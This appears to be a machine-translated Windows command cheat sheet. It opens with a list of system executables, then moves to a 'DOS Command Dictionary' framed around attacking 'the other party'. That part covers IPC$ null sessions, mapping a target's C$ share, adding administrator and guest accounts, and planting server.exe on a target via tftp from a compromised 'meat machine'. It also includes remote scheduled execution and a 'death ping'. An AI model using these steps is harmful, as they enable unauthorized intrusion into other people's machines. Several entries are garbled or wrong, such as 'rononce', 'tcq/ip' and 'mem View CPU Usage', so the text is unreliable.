irftp.exe Wireless Connection
ismserv.exe Install or Remove Service in Service Control Manager
jdbgmgr.exe Java 4 Debugger
jetconv.exe Convert Jet Engine Database (not available in XP)
jetpack.exe Compress Jet Database (not available in XP)
jview.exe Java Command Line Loader
label.exe Change Volume Label of Drive
lcwiz.exe License Wizard (not available in XP)
ldifde.exe LDIF Directory Exchange Command Line Management (not available in XP)
licmgr.exe Terminal Services License Agreement Management (not available in XP)
lights.exe Display Connection Status (not available in XP)
llsmgr.exe Windows 2000 License Agreement Management (not available in XP)
llssrv.exe Start License Agreement Server (not available in XP)
locator.exe RPC Locator Remote Location
lodctr.exe Call Performance Count
logoff.exe Log Off Current User
lpq.exe Display Status of Remote LPD Print Queue, Display Print Jobs Sent to Unix-Based Server
lpr.exe For Unix Clients to Send Print Jobs to NT Printer Server Connected to Print Device.
lsass.exe Run LSA and Server DLL
lserver.exe Specify Default Server New DNS Domain (not available in XP)
lusrmgr.msc Local Account Management
mmc Console
mplayer2 Player
macfile.exe Manage MACFILES (not available in XP)
magnify.exe Magnifier
makecab.exe Make CAB File
mem.exe Show Memory Status
migpwd.exe Migrate Password
mmc.exe Console
mnmsrvc.exe Remote Desktop Sharing
mobsync.exe Synchronize Directory Manager
mountvol.exe Create, Delete, or List Mount Points of Volume.
mplay32.exe Media Player
mpnotify.exe Notification Application
mqbkup.exe Information Queue Backup and Restore Tool
mqmig.exe MSMQ Migration Utility Information Queue Migration Tool
mrinfo.exe Use SNMP Multicast Routing
mscdexnt.exe Install MSCD
msdtc.exe Dynamic Transaction Processing Console
msg.exe Send Message to Local or Remote Client
mshta.exe HTML Application Host
msiexec.exe Start Windows Installer
mspaint.exe Open Paint
mstask.exe Task Scheduler Program
mstinit.exe Task Scheduler Installation
Msconfig.exe System Configuration Utility (Configure Startup Options, Service Items)
mem.exe Show Memory Usage
mspaint Paint
Net Stop Messenger Stop Messenger Service
Net Start Messenger Resume Messenger Service
nslookup Network Management Tool
Nslookup IP Address Detector
ntbackup System Backup and Restore
nbtstat.exe Use NBT (NetBIOS over TCP/IP) to display protocol statistics and current TCP/IP connections.
nddeapir.exe NDDE API Server Side
netsh.exe For Configuring and Monitoring Windows 2000 Command Line Script Interface (not available in XP)
netstat.exe Display Protocol Statistics and Current TCP/IP Network Connections.
nlsfunc.exe Load Information for Specific Countries. Windows 2000 and MS-DOS Subsystem Do Not Use This Command, Accepting the Command Only for Compatibility with MS-DOS Files.
notepad.exe Open Notepad
nslookup.exe This Diagnostic Tool Displays Information from Domain Name System (DNS) Name Servers.
ntbackup.exe Backup and Disaster Recovery Tool
ntfrs.exe NT File Replication Service (not available in XP)
ntvdm.exe Simulate 16-bit Windows Environment
nw16.exe NetWare Redirector
nwscript.exe Run Netware Script
odbcad32.exe 32-bit ODBC Data Source Management (Driver Management)
odbcconf.exe Command Line Configure ODBC Driver and Data Source
packager.exe Object Packager
pathping.exe Program Including Ping and Tracert
pentnt.exe Check Pentium Floating Point Errors
perfmon.exe System Performance Monitor
ping.exe Verify Connection to Remote Computer
posix.exe For Compatibility with Unix
print.exe Print Text File or Display Contents of Print Queue.
progman.exe Program Manager
psxss.exe Posix Subsystem Application
qappsrv.exe Display Programs Available on Terminal Server on Network
qprocess.exe Display Process Information Locally or Remotely (Requires Terminal Services)
query.exe Query Processes and Conversations (not available in XP)
quser.exe Display User Login Information (Requires Terminal Services)
qwinsta.exe Display Terminal Services Information
rononce -p 15-second Shutdown
rasAdmin Remote Access Service.
regedit.exe Registry Editor
rasadmin.exe Start Remote Access Service (not available in XP)
rasautou.exe Establish a RAS Connection
rasdial.exe Broadband, Dial-up Connection
ras.exe Run RAS Connection (not available in XP)
rcp.exe Copy Files Between Computer and System Running Remote Shell Port Monitor Program rshd
rdpclip.exe Terminal and Local Copy and Paste Files
recover.exe Recover Readable Information from Bad or Defective Disk.
redir.exe Run Redirector Service
regedt32.exe 32-bit Registration Service
regini.exe Modify Registration Permissions with Script
regwiz.exe Registration Wizard
replace.exe Replace Files in Target Directory with Files of the Same Name in Source Directory.
rexec.exe The rexec command verifies the username on the remote computer before executing the specified command. This command can only be used after the TCP/IP protocol is installed.
risetup.exe Run Remote Installation Wizard Service (not available in XP)
route.exe Control Network Routing Table
rsh.exe Run Command on Remote Computer Running RSH Service
rsnotify.exe Remote Storage Notification Echo
runas.exe Allows Users to Run Specified Tools and Programs with Other Permissions
rundll32.exe Start 32-bit DLL Program
rwinsta.exe Reset Session Subsystem Hardware and Software to Initial Values
Sndvol32 Volume Control Program
sfc.exe or CMD\ sfc.exe Press Enter System File Checker
services.msc Network Connection Service
syskey System Encryption, (Once Encrypted, It Cannot Be Unlocked, Protecting the Dual Password of Windows XP System wupdmgr WIDNOWS UPDATE)
SCANREG/RESTORE Command to Restore Recent Registry
secedit.exe Automated Security Configuration Management
services.exe Control All Services
sethc.exe Set High Contrast
setver.exe Set the MS-DOS Version Number Reported by the MS-DOS Subsystem to the Program
sfc.exe System File Check
shadow.exe Monitor Another Terminal Server Session
shrpubw.exe Create and Share Folder
sigverif.exe File Signature Verification
smlogsvc.exe Performance Logs and Alerts (not available in XP)
sndrec32.exe Recorder
sndvol32.exe Display Sound Control Information
snmp.exe Simple Network Management Protocol (not available in XP)
snmptrap.exe SNMP Tool (not available in XP)
srvmgr.exe Server Manager (not available in XP)
subst.exe Associate Path with Drive Letter
sysedit.exe System Configuration Editor
syskey.exe NT Account Database Encryption Tool
sysocmgr.exe > Windows Installer
systray.exe Run systray with Low Privilege
taskmgr Task Manager
tasklist /svc(CMD) Understand How Many System Services Each SVCHOST Process Provides (Not Available in 2000\98)
tlist -S(CMD) Understand How Many System Services Each SVCHOST Process Provides (
taskman.exe Task Manager (not available in XP)
taskmgr.exe Task Manager
tcmsetup.exe Telephone Service Client Installation
tcpsvcs.exe TCP Service
termsrv.exe Terminal Services
tftp.exe Transfer Files to or from Remote Computer Running TFTP Service
themes.exe Desktop Themes (not available in XP)
tlntadmn.exe Administrator Telnet Service Management
tlntsess.exe Display Current Telnet Sessions
tlntsvr.exe Start Telnet Service
tracert.exe Diagnostic Utility Sends Internet Control Message Protocol (ICMP) Echo Packets with Different Time to Live (TTL) Values to the Target to Determine the Route Taken to the Target
tsadmin.exe Administrator Terminal Services Manager (not available in XP)
tscon.exe Paste User Session to Terminal Conversation
tsdiscon.exe Disconnect User of Terminal Services
tskill.exe Kill Terminal Services
tsprof.exe Get Query Results with Terminal Services
tsshutdn.exe Shutdown System
unlodctr.exe Part of Performance Monitor
upg351db.exe Upgrade Jet Database (not available in XP)
ups.exe UPS service UPS Service
user.exe Windows Core Service
userinit.exe Open My Documents
usrmgr.exe Domain User Manager
utilman.exe Specify Which Machine to Automatically Open at 2000 Startup
vwipxspx.exe Call IPX/SPX VDM
w32tm.exe Time Server
wextract.exe Extract Windows Files
winchat.exe Open Windows Chat Tool
winhlp32.exe Run Help System
winmsd.exe View System Information
winver.exe Display Windows Version
wizmgr.exe Windows Management Wizard (not available in XP)
wjview.exe Java Command Line Call Java
write.exe Open WordPad
wscript.exe Script Tool
wupdmgr.exe Windows update Run Windows update Upgrade Wizard
winver Check Windows Version
Win98 System Tools
Start, Run, Enter Msconfig System Configuration Utility Configure Startup Options, Including config.sys, autoexec.bat, win.ini, system.ini and Registry and Startup Items in Program Menu. And Can Set Whether to Boot in Case of Failure.
Start, Run, Enter Regedit Registry Modification Tool Registry Editor, Do Not Randomly Modify the Registry Without Assurance!
Start, Run, Enter Regsvr32 DLL Registration Tool When Prompting That the DLL File Cannot Be Found, Use This to Register the Dynamic Link Library.
Start, Run, Enter Regwiz Registration Wizard Used for Registration. Verify System Files and Can Restore System Files.
If an Error Similar to *.vxd File Occurs During Startup, Use This to Restore the vxd File.
Start, Run, Enter Scandskw Disk Scan Program, Used to Scan and Repair Disks. If There Are Errors in the Disk or Files, It Can Be Used for Initial Repair.
Start, Run, Enter DxDiag DirectX Diagnostic Tool Can Be Used to Detect Whether DirectX Runs Normally.
Start, Run, Enter NETSCAPE
ESC: Clear Current Command Line;
F7: Display Command History, Give All Commands That Have Been Entered in the Form of a Graphic List Window, and Can Select to Execute the Command Again with Up and Down Arrow Keys.
F8: Search Command History, Cycle Through All Commands That Have Been Entered Until You Press the Enter Key;
F9: Select Command by Number, Require You to Enter the Number Corresponding to the Command (Starting from 0) in a Graphic Dialog Box, and Display the Command on the Screen;
Ctrl+H: Delete One Character to the Left of the Cursor;
Ctrl+C Ctrl+Break, Force Abort Command Execution;
Ctrl+M: Indicates the Enter Confirmation Key;
Alt+F7: Clear All Command History That Has Been Entered;
Alt+PrintScreen: Capture the Content in the Current Command Window on the Screen.
The System Files Are Damaged by the Virus. Please Use Antivirus Software to Kill the Virus, and Then Use the Chkdsk /r Command in the "Command Console" Provided by Windows 2000 to Check and Repair the System Files.
DOS Command Dictionary.. Collection
net use \ip\ipc$ " " /user:" " Establish IPC Empty Link
net use \ip\ipc$ "Password" /user:"Username" Establish IPC Non-Empty Link
net use h: \ip\c$ "Password" /user:"Username" Directly Log In and Map the Other Party's C: to Local as H:
net use h: \ip\c$ Log In and Map the Other Party's C: to Local as H:
net use \ip\ipc$ /del Delete IPC Link
net use h: /del Delete the Mapping of the Other Party to Local as H:
net user Username Password /add Create User
net user guest /active:yes Activate Guest User
net user View Which Users There Are
net user Account Name View Account Properties
net localgroup ***istrators Username /add Add "User" to Administrator to Make It Have Administrator Privileges, Note: Add s in Plural After ***istrator
net start View Which Services Are Started
net start Service Name Start Service; (e.g.: net start telnet, net start schedule)
net stop Service Name Stop a Certain Service
net time \Target IP View the Other Party's Time
net time \Target IP /set Set Local Computer Time to Synchronize with the Time of "Target IP" Host, Add Parameter /yes to Cancel Confirmation Information
net view View Which Shares Are Opened in the Local LAN
net view \ip View Which Shares Are Opened in the Other Party's LAN
net config Display System Network Settings
net logoff Disconnect Connected Shares
net pause Service Name Pause a Certain Service
net send ip "Text Information" Send Information to the Other Party
net ver Network Connection Type and Information Being Used in the LAN
net share View Local Opened Shares
net share ipc$ Open ipc
net share ipc$ /del Delete ipc
net share c$ /del Delete C: Share
net user guest 12345 Log in with Guest User and Change Password to 12345
net password Password Change System Login Password
netstat -a View Which Ports Are Opened, Commonly Used netstat -an
netstat -n View Network Connection Status of Ports, Commonly Used netstat -an
netstat -v View Work in Progress
netstat -p Protocol Name Example: netstat -p tcq/ip View Usage of a Certain Protocol (View Usage of tcp/ip Protocol)
netstat -s View Usage of All Currently Used Protocols
nbtstat -A ip If One of the Ports from 136 to 139 of the Other Party Is Opened, You Can View the Recently Logged-in Username of the Other Party (Username Before 03) - Note: Parameter -A Should Be Capitalized
tracert -Parameter ip (or Computer Name) Trace Route (Packet), Parameter: "-w Number" Used to Set Timeout Interval.
ping ip (or Domain Name) Send Data with Default Size of 32 Bytes to the Other Party's Host, Parameter: "-lPacket Size"; "-n Send Data Times"; "-t" Means Ping Continuously.
ping -t -l 65550 ip Death Ping (Send File Larger Than 64K and Ping Continuously to Become Death Ping)
ipconfig (winipcfg) Used to View Local IP Address for Windows NT and XP (Windows 95 98), ipconfig Can Use Parameter "/all" to Display All Configuration Information
tlist -t Display Processes in Tree List Form (An Additional Tool for the System, Not Installed by Default, in the Support/tools Folder of the Installation Directory)
kill -F Process Name Force End a Certain Process with Parameter -F (An Additional Tool for the System, Not Installed by Default, in the Support/tools Folder of the Installation Directory)
del -F File Name Delete Read-Only File with Parameter -F, /AR, /AH, /AS, /AA Respectively Mean Delete Read-Only, Hidden, System, Archive File, /A-R, /A-H, /A-S, /A-A Mean Delete Files Other Than Read-Only, Hidden, System, Archive. For Example, "DEL/AR *.*" Means Delete All Read-Only Files in the Current Directory, "DEL/A-S *.*" Means Delete All Files in the Current Directory Except System Files
move Drive Letter\Path\File Name to Be Moved Path\Moved File Name Move File, Use Parameter /y to Cancel the Prompt to Confirm the Existence of the Same File in the Moved Directory and Directly Overwrite
fc one.txt two.txt > 3st.txt Compare Two Files and Output Differences to 3st.txt File, "> " and "> >" Are Redirect Commands
at id number Start a Registered Scheduled Task
at /delete Stop All Scheduled Tasks, Use Parameter /yes Then Do Not Need to Confirm and Directly Stop
at id number /delete Stop a Registered Scheduled Task
at View All Scheduled Tasks
at \ip time Program Name (or a Command) /r Run the Other Party's Program at a Certain Time and Restart the Computer
finger username @host View Which Users Have Logged In Recently
telnet ip Port Remotely Log in to the Server, Default Port Is 23
open ip Connect to IP (Belongs to Command After Telnet Login)
telnet Type telnet Directly on This Computer to Enter Telnet on This Computer
copy Path\File Name 1 Path\File Name 2 /y Copy File 1 to the Specified Directory as File 2, Use Parameter /y to Cancel Confirm You Want to Rewrite an Existing Directory File
copy c:\srv.exe \ip\***$ Copy Local c:\srv.exe to the Other Party's ***
cppy 1st.jpg/b+2st.txt/a 3st.jpg Hide the Content of 2st.txt in 1st.jpg to Generate a New File 3st.jpg, Note: The File Header of 2st.txt Should Be Empty for Three Rows, Parameter: /b Means Binary File, /a Means ASCLL Format File
copy \ip\***$\svv.exe c:\ or:copy\ip\***$\*.* Copy the Other Party's ***i.exe File (All Files) to Local C:
xcopy File or Directory Tree to Be Copied Target Address\Directory Name Copy File and Directory Tree, Use Parameter /Y to Not Prompt to Overwrite the Same File
tftp -i Own IP (Use Meat Machine as Jump Server, This Uses Meat Machine IP) get server.exe c:\server.exe After Logging In, Download "IP" Server.exe to Target Host c:\server.exe Parameter: -i Means Transfer in Binary Mode, Use When Transferring EXE Files, If Not Adding -i, Transfer in ASCII Mode (Transfer Text File Mode)
tftp -i Other Party's IP put c:\server.exe After Logging In, Upload Local c:\server.exe to the Host
ftp ip Port Used to Upload Files to the Server or Perform File Operations, Default Port Is 21. bin Means Transfer in Binary Mode (For Executable Files); Default Is Transfer in ASCII Format (For Text Files)
route print Display IP Routing, Will Mainly Display Network Address Network addres, Subnet Mask Netmask, Gateway Address Gateway addres, Interface Address Interface
arp View and Process ARP Cache, ARP Means Name Resolution, Responsible for Resolving an IP into a Physical MAC Address. arp -a Will Display All Information
start Program Name or Command /max or/min Open a New Window and Run a Certain Program or Command in Maximized (Minimized) Mode
mem View CPU Usage
attrib File Name (Directory Name) View Attributes of a Certain File (Directory)
attrib File Name -A -R -S -H or +A +R +S +H Remove (Add) Attributes of a Certain File: Archive, Read-Only, System, Hidden; Use + to Add a Certain Attribute
dir View Files, Parameter: /Q Displays Which User the File and Directory Belong to the System, /T:C Displays File Creation Time, /T:A Displays Last Access Time of File, /T:W Last Modified Time
date /t, time /t Use This Parameter, That Is "DATE/T", "TIME/T" Will Only Display Current Date and Time, Without Having to Enter New Date and Time
set Specify Environment Variable Name=Character to Be Assigned to Variable Set Environment Variable
set Display All Current Environment Variables
set p(or other word?/ca>
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